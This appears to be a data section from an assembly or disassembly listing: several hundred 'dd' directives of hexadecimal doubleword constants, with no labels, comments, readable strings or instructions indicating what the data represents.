dd 0C568C1F8h, 80E2BD00h, 7229B598h, 0BD9EC40h, 53DDC77Ch
dd 1B8098F1h, 12AE76E4h, 8E98329Bh, 18D69481h, 0ECE7EB0Bh
dd 3DF7EA18h, 0E080F4EDh, 0EC7ADCFEh, 0D007F183h, 513537A5h
dd 0C3F02570h, 24124BC1h, 0D1B0E8C8h, 18AA0928h, 0DF18001Ch
dd 40CDE8CCh, 0C930A3F6h, 0B2DEC053h, 0D47C00FFh, 0A23EE945h
dd 4609A0C6h, 53198AF0h, 0B520088h, 0AA9113BFh, 944B749h
dd 0F87B58B9h, 0F2610030h, 85017965h, 0C9302C3Dh, 2983A1ADh
dd 90E54F4Eh, 7724A0A0h, 16440130h, 13555D7Ch, 0B4732DD0h
dd 265F3910h, 37E338C0h, 83100425h, 40BFDA92h, 0CF17883Dh
dd 404E5AE0h, 0C2BE66E4h, 99002DE3h, 8DEDC8B5h, 399F0ACAh
dd 1863664h, 0B8F5D096h, 184DD21Fh, 204F2649h, 13D6EF9Ch
dd 68D09EC0h, 0AD9000F0h, 2F9A803Ch, 77782800h, 42911911h
dd 0A40913BBh, 1674E395h, 2CA0B6E2h, 0AA1A0644h, 514F0359h
dd 9974B507h, 0D3D0C9C4h, 9ED04760h, 1D49583Ch, 10FD6632h
dd 8404786Fh, 0C9175F54h, 28002AF4h, 3E13526Bh, 0E2DB0E3Dh
dd 0A6E5F274h, 0B7B817EDh, 0F0D05EA4h, 0F80D07Fh, 0EE3E5933h
dd 0E2692C64h, 158D00C8h, 92854193h, 0C3990B55h, 486630BBh
dd 88403497h, 1646A338h, 207289h, 8CF42AB6h, 9B0436EEh
dd 5DE97E5Bh, 400050ACh, 9C569384h, 4B75E1BBh, 0ED3C6B09h
dd 2880E075h, 6803B72Bh, 8C030858h, 263C3E29h, 0A00DC0EEh
dd 0C88A4E01h, 65A7F58h, 9BFF00D3h, 81A0CF76h, 5E0E6A3Dh
dd 28E801A4h, 502ADAB4h, 558830ACh, 91F07C07h, 3EA45C58h
dd 95992CC8h, 0CF02DC98h, 29528800h, 0E5DD6C77h, 167492D0h
dd 82ECBEC6h, 0E47A88CCh, 0C740E825h, 0EBDCA9B4h, 80CAE0F9h
dd 0EBBB1600h, 961B33F6h, 0F001015Ch, 3DA8B698h, 0B3268A30h
dd 0E1A62D00h, 2CD34992h, 0C248FFFh, 0E589E036h, 5B0106B0h
dd 93AF05B2h, 4C297946h, 0F8510118h, 0C9007BB3h, 7D3E98CBh
dd 7EF3172h, 0B17CA2B6h, 0FC807B95h, 0F2AB018Bh, 0CA11D460h
dd 74105969h, 764E0B11h, 0C013D527h, 0F8D11990h, 5A3FF3FAh
dd 893C8B24h, 33F83061h, 34AD0004h, 52B0B40Bh, 0F603A018h
dd 87BFED27h, 32F81C9Bh, 26BD8038h, 6F5D6BEBh, 932E5B00h
dd 3D1B0378h, 1A890166h, 0C8285286h, 598069EEh, 8CEA05E0h
dd 34900621h, 0B83BB1FBh, 0B4BF03B0h, 10159DC6h, 64436699h
dd 502A5488h, 0BE00C8C5h, 0A9E9B2E4h, 72E7D4AEh, 32AD00ECh
dd 42615EA5h, 3295AA23h, 0F034CAD4h, 0B7C50B5Ch, 0DB806AC9h
dd 6168F3BEh, 70E8CA01h, 9BFA3742h, 0B794716Fh, 0C0706B5Fh
dd 1FBCCDAEh, 0C021A8CAh, 0F29EEE77h, 84000407h, 8AE11964h
dd 3D6B1FC9h, 8EA8C048h, 0B6D02584h, 5F0CD4A0h, 0C5F87A47h
dd 4AC4C148h, 64F598C9h, 8838202Ah, 3560AA51h, 694C7010h
dd 0F4BA504Dh, 6E4A0023h, 0B6DFD804h, 54EACE8h, 95846CCCh
dd 0EC37A010h, 23C9A49h
dd 8F461CB0h, 404CFC84h, 0A1D585ACh, 82252428h, 0E3836E0Ah
dd 0A482849Ah, 0A246703Bh, 547D4CD8h, 530FE1B8h, 0F8218203h
dd 60573E74h, 1DAD30E0h, 0BDE42945h, 0D3E9131Dh, 0AA908C99h
dd 41D7EF13h, 5057D0C0h, 292700BBh, 0AFB4CB5Fh, 0F5E5663Eh
dd 50203A71h, 0B8C87221h, 0C419BF6Dh, 74356F85h, 4297A4E8h
dd 9A4565C8h, 7C072456h, 480061DBh, 3521318Ah, 3285D17h
dd 974664B8h, 6130B9D8h, 175EF44Ch, 60B5D712h, 41DE020h
dd 1F364684h, 0A9F4C5A3h, 5478BD0h, 0B840A819h, 864827ADh
dd 0C0153BEFh, 748BB02Dh, 0B9DA201Eh, 6B1CFC48h, 0A6490D1h
dd 384F6CDAh, 0BEEC2B74h, 22B98417h, 96D10430h, 4A5B091Ah
dd 0D08EFEh, 0B74DAB0Fh, 660CCEB1h, 1F303F72h, 4F781DA5h
dd 0EC04689h, 45CF4F0Dh, 76145A38h, 0A1980860h, 0FCAC0Bh
dd 0C5549C84h, 38DD2C9Fh, 885B3D00h, 0A20D602h, 0BB31C0B5h
dd 42D4C277h, 95B68401h, 49263E9Eh, 0F74970h, 0F870DC73h
dd 0B334A1F0h, 0A8CED8C2h, 0BB4C48F1h, 0EF773056h, 50DFF5E9h
dd 84D09F5Fh, 4F6A9D90h, 0E4AC84F9h, 3EEDD4D8h, 1014E425h
dd 34E0D294h, 0B2032A4Bh, 80B809B4h, 18FBCDC4h, 4B44C9ADh
dd 0EADD55C4h, 0CDF102BAh, 7952ED65h, 0EE2F05FFh, 0A125C0ECh
dd 7A0EE065h, 0C23C2061h, 0B730952Bh, 98C1B881h, 0D0F0042Fh
dd 0BF3401A7h, 0FBD1E93Ch, 68488BE8h, 399C008Ch, 0FE9D6479h
dd 6FE2003Eh, 6CAC7E34h, 0C5728BD0h, 0CA6844Bh, 4D11A504h
dd 0CFDC91C6h, 8F5D30D7h, 0A824D424h, 0A0571C8Eh, 0EFE341DCh
dd 6F2A0995h, 0D000A96Eh, 62785574h, 315C9E00h, 224232A7h
dd 0E2632EF1h, 0C9D8A688h, 0D280445Ch, 0C4F75AF5h, 29702A95h
dd 0AE3309DCh, 84218534h, 0FCB8D010h, 0C41CF82Fh, 17C2C069h
dd 283788A0h, 420A6D0h, 0BA0D9111h, 56BF6049h, 0E951C064h
dd 89BDB7C0h, 307A1Ch, 0A6680DB6h, 3BD93C8Fh, 6A1C31E3h
dd 76C38C60h, 0C903040Ch, 8C967016h, 5C99B678h, 3BBCCC2Dh
dd 696E1F96h, 4D5140FEh, 0AF473638h, 0E0470C0h, 0BE21BBAh
dd 61FF9E6Ch, 0DB00A452h, 36E46046h, 73E863Bh, 0EE68CF2Ch
dd 0A219457Fh, 18BDC004h, 25A645DDh, 787A942Fh, 0D218D149h
dd 222F28E1h, 0C07EF2ACh, 5152A1C7h, 802D5582h, 4C7C3991h
dd 38097D34h, 0E687FB4h, 8255ABDBh, 626960FCh, 79785E90h
dd 41444996h, 0D4A550E4h, 3E01C079h, 0E1922EA9h, 603F987Eh
dd 0B125658h, 8075B326h, 4436E640h, 0A09D1819h, 54AE69B5h
dd 0D7C77000h, 0C9C53550h, 9619069Ch, 0D8AC779Fh, 0DBF77D00h
dd 0D64C8B13h, 10249FFEh, 0C040E811h, 7FB1EE4Bh, 12B30F17h
dd 0AE63061Fh, 584ED889h, 9C8E9484h, 11C8DD19h, 855450E8h
dd 0A20029D2h, 0AA8B4F3Eh, 485FD4C7h, 47811C66h, 20776007h
dd 7FF7DF2Fh, 19A46060h, 92D1020Fh, 0F59CD715h, 12491056h
dd 92AC7E18h, 87CCBCBAh, 9F1007C6h, 247EE8A9h, 0E28015EAh
dd 6C4E620Dh, 0E149340Ch, 1780BFh, 0EF03B738h, 4639BCB3h
dd 76270100h, 53CD0290h, 0A0AC0E0Ch, 705B91A5h, 0D1A7FD91h
dd 4C1F2FC7h, 53FAF680h, 7307429h, 1311CD25h, 0F83B50C8h
dd 809D8520h, 9392C298h, 1A8700A2h, 0C41D4680h, 62130535h
dd 4A81Ch, 0C9C2B91Eh, 8CAB60BFh, 89611CD2h, 938440E3h
dd 7744A50h, 0AA0010B0h, 1CC9767h, 98984010h, 0D184004Fh
dd 7BB7D912h, 0D3009150h, 6011FC14h, 4FEA6B03h, 1AD48375h
dd 3D0001D2h, 0DDC637h, 968F9F85h, 5FB33C0Ah, 0F0509960h
dd 7D5238BDh, 0C7FF001Eh, 0ED404164h, 0F7240A90h, 0F000C79Eh
dd 5898BD75h, 39FD3EA5h, 0A1FABE83h, 76A19D31h, 0BC81F08Bh
dd 90ECF81Fh, 0D580599Dh, 0BA74ED45h, 649E0040h, 0AFDAFCBFh
dd 8400B254h, 0BEC5AA18h, 79353B7h, 4449DC6Fh, 7E05B070h
dd 0F900A658h, 0FD0F5479h, 39699142h, 26022CB6h, 0E31EC04Eh
dd 38DEAFE0h, 46052100h, 0D2713FCCh, 4C4890E6h, 0A31D5C15h
dd 6D1DA7h, 9B75EEA8h, 5C3044C0h, 4B661E4Dh, 87A00050h
dd 7AE34239h, 0DC00536Eh, 0F4EE6583h, 182E64ACh, 0FCEB58C5h
dd 0D5F41856h, 82216C01h, 0C85BE8EFh, 4783C44h, 0BA3E00CDh
dd 1F82F753h, 0CB5025D5h, 443D85BCh, 0A95B0081h, 2B90BF3Dh
dd 5CDF3940h, 738E8D00h, 0F8D6B607h, 51385630h, 78F9D37h
dd 2BBDDC1Bh, 0B680FF77h, 0C3A78BA6h, 0CD73F3Ch, 3173575Dh
dd 0C873051h, 43F99E48h, 896EE33h, 0AE21004Ch, 0B0CE0CBFh
dd 8600E70Ah, 0AD275D63h, 66D51C5h, 0FC53B9EAh, 0AF18B885h
dd 363972B8h, 3B021F43h, 0B65C0719h, 7E809C34h, 0AC7C7A50h
dd 87F40600h, 0D694FC26h, 95042C4Dh, 8D2130EDh, 0E4B0F40Eh
dd 851D2901h, 89FAACB0h, 30696442h, 0B080C8Bh, 64F8FEB6h
dd 83B24047h, 5D4EB0Ch, 2AB3361Dh, 23883E4Eh, 0EDB10045h
dd 0E8089B71h, 0A09E3Fh, 4484C9A5h, 5446BB28h, 0AD98438h
dd 41458270h, 891F81F8h, 0C8B67412h, 0BE669936h, 9215309h
dd 611180FFh, 0B42B0800h, 7A2A3797h, 0C14888CDh, 8C2A269Fh
dd 0C063313Eh, 0A84C7788h, 8DF4080Ch, 0A9C4EC26h, 0F4145740h
dd 3C0BDB7Eh, 86266930h, 90B8DA1Eh, 0E9C80F2Eh, 33FA31h
dd 8D23F1BAh, 0F97626EDh, 6C637601h, 0AFBB29B8h, 2A6D9880h
dd 98BA3A1Fh, 99F6C1F8h, 0A5B18C0h, 80BD3250h, 0A6051508h
dd 0D1F69211h, 0C0818808h, 0B673128Ch, 458633E8h, 1284C055h
dd 0E2ED4101h, 0E0436615h, 3CDB6CC0h, 39244BB5h, 5D70E30h
dd 0F0BBEFA0h, 0CC0AFC70h, 8CD1590Fh, 80753281h, 23E85888h
dd 94F6F35h, 5D9221F8h, 1AAF8000h, 0BDA13E76h, 24D952DEh
dd 0BF30C6F2h, 251505F8h, 261A5B27h, 88525084h, 128B057Ch
dd 76C4B66Eh, 80477C48h, 5D128305h, 6E056BC0h, 0F880CFA7h
dd 870C81Eh, 28436F91h, 128031D2h, 60843FC2h, 89F40804h
dd 950C2610h, 0F4108BB0h, 39016E01h, 2F18DD31h, 0D1D079A1h
dd 7C26184Ah, 21510083h, 5D02C1DDh, 0AB10BBD6h, 450C46AEh
dd 67303436h, 0A9C6587Eh, 8CE3Eh, 3A2B12F8h, 0A0A8B782h
dd 0B1246C30h, 0CE814023h, 0BC348FF0h, 0C5D33098h, 10808A48h
dd 9C07A7Fh, 14268CF4h, 0B4447CA4h, 0F411008Ah, 0CB2136B0h
dd 374544E8h, 0E03EB07Bh, 13838900h, 5C300AFBh, 79850565h
dd 3E4687h, 7DAFB814h, 0C20212AEh, 0BF52212Eh, 0B04B42B9h
dd 9A3B5688h, 0A3E10018h, 59AD0845h, 0D11D9F64h, 0F7C00FF4h
dd 0B9E42635h, 0FC9D4DA3h, 6801D448h, 0F5BAA513h, 0F8CC20DEh
dd 27FDD81Eh, 0C3B02884h, 10B6B0C8h, 50221243h, 25783580h
dd 949E3424h, 3F096C20h, 11D45A93h, 73181168h, 58868008h
dd 43CAC469h, 80805B94h, 2B091E0h, 0AAABF216h, 7468DD45h
dd 0BA096E3Bh, 8FD9C2F1h, 3C248648h, 6CB5E879h, 401849D8h
dd 0B0B6CF88h, 0F13C1821h, 987721DEh, 785700E9h, 1455E809h
dd 0F0422D67h, 7018123h, 4268AF4h, 0F8C010Eh, 0D7BADCF4h
dd 0CC3053CDh, 0A42458D9h, 9B5CEC79h, 0C8A01F4h, 1996B608h
dd 82B120D6h, 0CB09270Ch, 2038A15Eh, 0A5266E94h, 0FCD50732h
dd 836230E9h, 87C16CEh, 8571F33Fh, 6CC42A51h, 9EC649C0h
dd 1DCFA98h, 3A1B0D1Ah, 0FFFD09EDh, 8032A391h, 3704AA38h
dd 0F4C6375h, 4D81F1E1h, 0F8BA80E0h, 0CD30D661h, 2A52612Eh
dd 997D0363h, 0B1A1C225h, 214D0930h, 76331F2h, 50CABD04h
dd 1EFAF086h, 0E430CD2Eh
dd 70DD80D0h, 195D61B5h, 0CEB06Dh, 40FE697Fh, 24F0E438h
dd 12E87D4Fh, 7A772606h, 8200F95Eh, 0D907E88Ch, 711E8191h
dd 7508CCE1h, 0D4002021h, 1D028EE8h, 0E6D9112h, 0E0FCA43Eh
dd 0A2D953E0h, 50CA1DFh, 0E048783Bh, 27048C93h, 2D998063h
dd 0EF204B62h, 50632Eh, 20F488B0h, 93E785E2h, 1E235B01h
dd 0B34F1149h, 2A3532C8h, 0B0A8FEh, 889F1585h, 2286062Eh
dd 0D1F5DEF2h, 21B9B4h, 47F29F0Dh, 7A5F6C35h, 3271C063h
dd 4A8A48D9h, 583F8CA3h, 921A8308h, 88229988h, 0C8A436A5h
dd 28C0D4C8h, 53997F63h, 0F080D435h, 2231632Fh, 0D630CC90h
dd 7335603Eh, 178800D4h, 74863244h, 77FE3408h, 8C06F898h
dd 96410A7Dh, 70305288h, 8B9F0802h, 0B3310E2Eh, 9EE06710h
dd 0D4062BE0h, 3DAE4958h, 0D4DC4870h, 500B424h, 60742638h
dd 12E887F4h, 11A9D923h, 0C94876h, 66568AE8h, 0C36A9EACh
dd 3A50D719h, 0E6CED10Ch, 6E7A1861h, 0E5E02159h, 7C8D0F1Ch
dd 0D87D0103h, 1432250h, 0E3798030h, 9132DC2Ah, 8E807590h
dd 0E1D909E8h, 2268448Ch, 0F0E8D600h, 6DE33798h, 2A6A3A0Ah
dd 0E074C618h, 28C017B9h, 9B18AE62h, 31130076h, 6AA2C7Ch
dd 6C1A8196h, 17B16A2Fh, 816A9140h, 169705DDh, 356BE140h
dd 0FFCA24B8h, 0C33C08C0h, 0F264D70Eh, 48500420h, 10AA0169h
dd 0AF038B23h, 2C7DD4C3h, 8DDB6F00h, 7C536D8Eh, 3C9979h
dd 0DE342A58h, 600E65B4h, 0A55AFE0Dh, 0CC806CA3h, 48050FF6h
dd 680AD088h, 2AC3C0Eh, 91D6F26h, 0D36B5C69h, 0B1AC03A4h
dd 0E1590063h, 3D2AFC5Fh, 0ED1CDCAEh, 0D5468E67h, 0B820A0h
dd 0AD56FDE1h, 7226DADEh, 0A21DC51Dh, 0EF9B4380h, 1A8A1B0h
dd 0C38332BDh, 2086351Ah, 652899FCh, 8C2080D3h, 0FBDF13B5h
dd 0CA600A8h, 0DC62BAA2h, 64A5AC19h, 0A3304489h, 0A4719Bh
dd 277EE1DFh, 34E522DCh, 0CB060C90h, 8555129Ah, 48290260h
dd 0D21F9A8h, 364CCD40h, 0E80411D1h, 405F30E2h, 0D9EDA910h
dd 8D4B2900h, 361A35EFh, 938400FFh, 73E2A05Eh, 28C4AF62h
dd 0C348D7F1h, 2491EC42h, 0D45521B7h, 0AD101712h, 8CB897Bh
dd 2B8F44EFh, 162C40h, 8E737B3Ah, 4A2746BDh, 0EE0705ECh
dd 0C458708h, 5881C0D0h, 3AA50E8Ah, 80E0AA59h, 0C2BEEB9Bh
dd 0F2301700h, 326F5706h, 948D0F4Fh, 9F454E37h, 9B948031h
dd 7D00ACA5h, 2BEF3C95h, 70F46F2Eh, 5FEB00CFh, 998CFCFFh
dd 0D300830Dh, 19033077h, 74AA84BEh, 0B67300BFh, 0A7C2E68Dh
dd 800548Fh, 5A5853C4h, 706C655Dh, 1D67FEA3h, 403E5602h
dd 84C14704h, 0DEECC9FEh, 86C4A000h, 7CB114F9h, 1A440043h
dd 0AF99F1B7h, 0AB07D313h, 2F0C0DFFh, 0D0FEA023h, 3DDEB3Ch
dd 2C79F352h, 8E181CC6h, 155020C8h, 8CD100AAh, 0A9C00D58h
dd 33007C9Bh, 8E98FDA6h, 8BB9F2h, 55AC2921h, 89F91B97h
dd 76A31A00h, 832E6C8Ch, 75A0C04Ch, 136BECEBh, 0F8104D65h
dd 851CD509h, 890CC0F7h, 7BB61E2h, 0F332978Bh, 40C8A0F1h
dd 0D4F8B2EEh, 0BD548A02h, 831966E4h, 98826190h, 0CF1A517Bh
dd 0BC804310h, 0F8931E48h, 350410Fh, 0F54C0349h, 0F62FE81Bh
dd 0E9440E7Dh, 0BD69777Ch, 0CD841381h, 0AC637094h, 0B238B374h
dd 0D6040028h, 3CBF0567h, 0F812000Bh, 9A421331h, 0D0030AAFh
dd 456EEC8Eh, 4B283803h, 0C5935802h, 0A0806D39h, 7746B996h
dd 0D0FA0E00h, 1A15228Ch, 0B6650323h, 0D4C65676h, 0DAF0F000h
dd 8B436EB1h, 0D9691347h, 778001A7h, 0DC4B63F1h, 511C67D5h
dd 0AD80AAFAh, 544316BEh, 59770109h, 0ECAF9B96h, 0FF4EE435h
dd 0F6109560h, 2A7AEBh, 2381E669h, 0CE43EC88h, 37F0E100h
dd 0AB2F4605h, 748028B8h, 4DC01FACh, 8C7D8019h, 0DAF9EA33h
dd 0A81ED07Dh, 6AA4DEA9h, 4DB78D00h, 0EA85DF8Fh, 0F2A100BBh
dd 0C141A820h, 7C1E2A77h, 4600571Dh, 8EE76889h, 0D5F40027h
dd 4B2B5DD2h, 72001A14h, 7D9AC0B6h, 55C164Dh
dd 0A7C3040Ah, 27C0BBB1h, 987E0E63h, 8DBA008Bh, 4D5875B9h
dd 0E167BFE9h, 0D908970h, 0AAB2A6h, 6471AC40h, 27A0D88Ah
dd 0F70CC207h, 8C91A5AEh, 0C1E49F8Bh, 4B124854h, 0FB43400h
dd 0EB4E5180h, 980095F8h, 23F8F324h, 5A65542h, 6BB5B129h
dd 28880091h, 64958E35h, 0D6D28200h, 1613C3A9h, 56FE0EEBh
dd 9B422E4Ah, 2CC04C8Eh, 0ED00645Ch, 32A6A791h, 0E6E7D4h
dd 221B1373h, 47D557B8h, 9676B303h, 0EAA92574h, 0E644555h
dd 0C01DB35Ah, 948EE98h, 839032D2h, 5D76700Bh, 351880E3h
dd 0C4DF75h, 51422722h, 4AE5528h, 0B8843F9h, 75410E88h
dd 90103260h, 6078127Bh, 0CDC821C1h, 0F1B8627Dh, 0C5319200h
dd 0DE7F7D4h, 13780C3Ah, 2D28AD27h, 8A12F173h, 83044E4Fh
dd 0CC83C1A3h, 0E4D1B0F7h, 29230938h, 10389C02h, 0B307AAA0h
dd 26E646D4h, 40426EE2h, 0E26651C0h, 0A09300F3h, 0C6D8EA08h
dd 730095E6h, 0B81F5C3Ah, 0EA9BF004h, 0E780C08Fh, 87DA207Dh
dd 0CC00A490h, 53121814h, 3E4D648h, 3B6854D8h, 2000E3B7h
dd 0C3062FB9h, 0BD2E8Fh, 7BBAE7C2h, 75B76765h, 6C4B661Dh
dd 822D7C01h, 7EE091D0h, 0D1C60081h, 9C6E305Ch, 14FC5BABh
dd 8FBC3902h, 687B4DCAh, 3C853C38h, 0C7007C57h, 6BCB9A2h
dd 0FC0EF9E2h, 60392247h, 1D7F5482h, 7A2300D7h, 0BA5F468Fh
dd 9F0086CFh, 0E9C510FCh, 390C4334h, 1101B81Ah, 166C7DFAh
dd 0BD73D448h, 0D6C29802h, 68ECC53Dh, 0A3F358h, 8D4E76A8h
dd 88A1A693h, 0FB0B5B00h, 0E757980Eh, 761F0734h, 20BACB11h
dd 4CDAA303h, 0BCC0EC00h, 0AD9C1041h, 4D62006Ch, 1AA6A2B3h
dd 841CAF0Dh, 0B4802192h, 6A04F357h, 0CC07000Ch, 5D4291E1h
dd 0AF09C4B9h, 60D8052Fh, 2D4FFD4h, 0D97D38Fh, 9C60BFE5h
dd 5D2C51DFh, 26044063h, 4C804D43h, 5C942h, 0C40A9D1h
dd 0C571B110h, 80DD1505h, 0AB0570FFh, 2EC02859h, 8C3373h
dd 1785761Eh, 364A027Eh, 13E88007h, 0DF807298h, 76153Fh
dd 9789C54h, 0E3CE3460h, 7180A00h, 40CAAAEAh, 100B607Ah
dd 0F7359580h, 0C2925000h, 383C56FFh, 2F591EBEh, 62960027h
dd 0C3D64986h, 1348DC02h, 40937852h, 3C5134F4h, 860089A2h
dd 0C7B5C5DEh, 0F707021Fh, 3A466312h, 50829F20h, 71570179h
dd 0AB9E6970h, 0EAE0ECB2h, 1FDFF200h, 6C1C3637h, 175B10C9h
dd 0BD190075h, 0E3125507h, 80680E9Dh, 0F1200ED0h, 9079BCF3h
dd 1E01E000h, 2FE80FC8h, 1507033Ah, 0A7CFE2AEh, 3B5C7C09h
dd 35E88061h, 5009B05Bh, 10B083h, 0A56DBD04h, 0D93E6C29h
dd 71EBE500h, 0D1962E1Bh, 0AF77C9h, 9CB8FE50h, 28F62190h
dd 0E7949E12h, 0DC6AB002h, 3A64C013h, 0B5D9042h, 7E0AF9B9h
dd 36C44F81h, 82B3C419h, 0A23A0E00h, 0EC686033h, 86F09Eh
dd 544B34FDh, 41462F39h, 6102D900h, 7FAF3A38h, 0ECD40088h
dd 3C50B4A0h, 1809C1BCh, 0B1A880h, 7FAC64A8h, 0EFA30ED3h
dd 2E6010CAh, 70245209h, 64914A00h, 0C4D67CA9h, 0E24B067Eh
dd 0C0869EB6h, 63C7DE00h, 9D111D39h, 7420ED70h, 0FB6824C5h
dd 0AC6E1EA8h, 4EBA00DDh, 0FD832FADh, 88009CB0h, 7630E243h
dd 56A8B50h, 5EEF93B8h, 399080DFh, 0CF3DFF1Bh, 0AA65AC66h
dd 0D6AD0Bh, 1C99B2E8h, 0ED72CBh, 0CA2B240Ch, 3FC99A38h
dd 74CF20C0h, 39F16928h, 9B001E84h, 0FB4B8E75h, 23018344h
dd 6F558B25h, 62F2646Dh, 1EB800A7h, 3BE6560h, 9BDCCCBh
dd 4CC39CF8h, 2FCC00DDh, 0BCA54587h, 1179700Ch, 9853194Dh
dd 0B0230120h, 0F9B39A7Dh, 0DF188061h, 4DF5EA49h, 1CEF78E1h
dd 0C1393821h, 927D7466h, 7886B053h, 1EB97747h, 0BBFBEA7h
dd 0B00074D0h, 0C7933420h, 0C91F9270h, 1940378Ch, 0BFD482F2h
dd 7EDD0C9Eh, 38F04532h, 0AEDA4303h, 90706C9Ah, 723B8DBh
dd 8AB976D2h, 0D0CAB7BDh, 664CB6DFh, 0C50D1700h, 0B722316Bh
dd 20BE58A0h, 0FBB81500h, 0AFF301CEh, 4C7D8A70h, 6C02DF00h
dd 0EEF1E188h, 1D17FA2Eh, 8015C6E2h, 3C97EC01h, 4005AB39h
dd 6F235242h, 0D832CE0Ch, 450038Bh, 0B30E865h, 3C6A2EB0h
dd 543EE100h, 5FDE1CDFh, 95250060h, 0DBCE6515h, 320B83E2h
dd 12BC81h, 8B025AC5h, 8C9C09D5h, 3900B7A1h, 12DED2A3h
dd 517AB47Eh, 457D3300h, 6141684Ah, 0F85800FDh, 0CC8D183Dh
dd 0DC00E9DAh, 48B61C2Fh, 1D2D5A92h, 4057993Eh, 656F6E5Dh
dd 0F3003F5Ch, 9B805F06h, 259EEE2h, 5B23158Ch, 0FC402F70h
dd 3D764C04h, 493F7C1Ch, 0B414B840h, 3097489h, 0D4B56895h
dd 0CC88C0FBh, 0D300DF24h, 21E541B1h, 0CB3E1h, 6F68648Fh
dd 2A835E7Dh, 0F8C14A18h, 3D9FFF51h, 25066EB7h, 286782F9h
dd 0CD358800h, 5CAB21D2h, 0E8C100D6h, 0A9480E5Ah, 570186D5h
dd 7EE07170h, 69F04487h, 0B667007Ah, 0FA59C3C8h, 3E0068E3h
dd 4BFFAFFBh, 425CB12h, 0A79C82B7h, 98BC8265h, 0C37540E4h
dd 0B9A53F00h, 794BCFB8h, 90AA586Bh, 55030F00h, 0E440A71Dh
dd 3F6D2E00h, 0A4918BBCh, 0E8E30EF9h, 0AA81BBB9h, 0BAC85A60h
dd 16358548h, 0FC70BACAh, 38B8EBFh, 6BC1B29Eh, 0F6E053BCh
dd 0F0DCCB75h, 0C8B8F180h, 60F36114h, 84BFA9B9h, 8801BEC2h
dd 5CC68CAFh, 30831C16h, 0B57E5118h, 0B48142CAh, 0EC0933A0h
dd 190C533Ch, 281A668Dh, 25810F68h, 5B808523h, 0A98EF861h
dd 9EDEA83Fh, 0AC005DDFh, 51F562DCh, 0EE8B08Ch, 2E6E5F7h
dd 1F90E3CAh, 48D4A8CDh, 0A100C3D4h, 0A3F70632h, 0EF513D87h
dd 0B825F8C8h, 5DCA5A00h, 0DE66C62Dh, 30160179h, 144DAD31h
dd 189C6395h, 10395963h, 32FF3084h, 30311661h, 1C36000h
dd 0E6357AE3h, 1FC24AEEh, 1653F4h, 0E5C588C0h, 150077B0h
dd 0DB4A4C51h, 12A0A2B1h, 0C33089h, 0FA3822BCh, 501E903Ch
dd 0A1C0E437h, 91BDEF5Bh, 0FD2F0094h, 13F7DF1Bh, 0ED00F08Bh
dd 7F6A84C1h, 83E866h, 606DB7CBh, 5A8B991Ah, 198D8F58h
dd 0C6102970h, 7C85F70h, 0FB3CF542h, 0FD9B2331h, 0C1B0DCB0h
dd 6B138200h, 9551898Eh, 0E48F5893h, 0B69D5000h, 0FAEA8C6Dh
dd 2BD1B100h, 6612EE3Ch, 5622097Fh, 8D80C332h, 8CC57C95h
dd 0FBA4501h, 4EFB8BCFh, 3BCBD4h, 80104983h, 710B6FADh
dd 0FD13E4B0h, 3C8AEBD0h, 8F25A00h, 0A57EA486h, 0F48C2051h
dd 0C090D3BCh, 0A06AAD07h, 0BDC06121h, 98CD69C6h, 0AB4C00A4h
dd 96489DBCh, 6400B0AFh, 87422A5Bh, 8A2E4Fh, 0D688F81Eh
dd 2B5DD0C5h, 0B39D6D03h, 0D03C3D5Bh, 33816D4h, 0B0A9C0D5h
dd 9100918Eh, 18D62597h, 697FF1h, 0AEF3409Ah, 0D3F86F2Dh
dd 0E5BBFB00h, 68585201h, 2C4D05B6h, 0C43983F0h, 78CCB0E8h
dd 0A7DC8400h, 551F1B6Fh, 17494C03h, 3491DA00h, 0ADE5C4CFh
dd 0AF072418h, 3035CD58h, 8328527Dh, 0A87DA298h, 0EA2F5C0Bh
dd 981D8CBFh, 3DC4037Ch, 76751BD0h, 8F9CB780h, 18DA903h
dd 88FCB049h, 78F00Fh, 0FDDC72B2h, 2B1D7569h, 0E8988200h
dd 64C025F9h, 6E9B0074h, 21455807h, 4EEC873Ah, 0C3B3E500h
dd 229733Fh, 1A790149h, 0B1E0426h, 0ECA7F542h, 9B30870Ch
dd 3A28112Eh, 0C0517469h, 43C5730h, 7720DA05h, 0D08B4981h
dd 399F9500h, 189827EBh, 0ED627907h, 0DCD02090h, 2DA8183h
dd 0D5FF82A5h, 88804374h, 50422B3Bh, 0F10CDF00h, 0DD8B79D8h
dd 19806C4h, 60549A29h, 8EC71505h, 8881D79Bh, 8460B9D4h
dd 48690099h, 0E9AAAD94h
dd 0B90FD73h, 0E79C090Fh, 0EB3C40AFh, 9079EE08h, 0CA6703A4h
dd 6DADDB13h, 0AF7FC407h, 58B0C5FCh, 0E45334Dh, 87B3859Eh
dd 0D9315A80h, 0A91495E0h, 7FC0E740h, 0ADF77406h, 507A45h
dd 23BF23Fh, 69D551DDh, 0C6646600h, 83BD4299h, 0AF9B0331h
dd 8139D23Ah, 643CC095h, 98007776h, 0B22B380Ah, 3CCCF7Dh
dd 67F8E7DFh, 58005D18h, 17A759F5h, 13BBE96Fh, 0C044968Ch
dd 0B9B3CFF0h, 35AE4D00h, 2FB1520Ch, 47F702BCh, 0FEDE14E7h
dd 0AF974C40h, 4D22BB00h, 7DD7D9A2h, 2DEB002Ah, 6B23248Ch
dd 0FA07E03Dh, 2B83F316h, 29101F90h, 0BB683F28h, 0BEE7D380h
dd 4C4660BAh, 487CE80Eh, 0A94FE1A1h, 1CED6FEEh, 0F7E7DC47h
dd 972FDFA1h, 4C2088C5h, 86A3007Ch, 538D40E0h, 0CE009312h
dd 0BF285582h, 0AB58BCh, 9542A91Ah, 8C0A247Eh, 64FCB0C5h
dd 0C4A055C4h, 0BB630FDEh, 0F9C085CEh, 5255ADD1h, 364285Ch
dd 6C5B3D58h, 0A51104C1h, 80CB1DB7h, 6E61E18Dh, 3FEBECA0h
dd 844B4C39h, 1DEAE2D8h, 3666A8C0h, 0A7174C19h, 9982323Bh
dd 0AA11782Fh, 0B0212840h, 1BA2C88h, 63BCEA1Fh, 0F3AAA685h
dd 0E080F2F2h, 64525778h, 87A8B938h, 8D4D0CDBh, 0DC0019E5h
dd 3E01804Fh, 0D0FF0735h, 0C875788Ch, 0C073F500h, 2C60CBh
dd 4FF6F414h, 46F1020Eh, 0EA0A0700h, 1BD6FBF5h, 1D4CCDh
dd 2BB77100h, 63349098h, 0C40070Fh, 77B6006Ah, 0AA0461h
dd 0F9228AA2h, 0C0ABDB27h, 3447BB0Ah, 3A018CE8h, 8AF4F2DAh
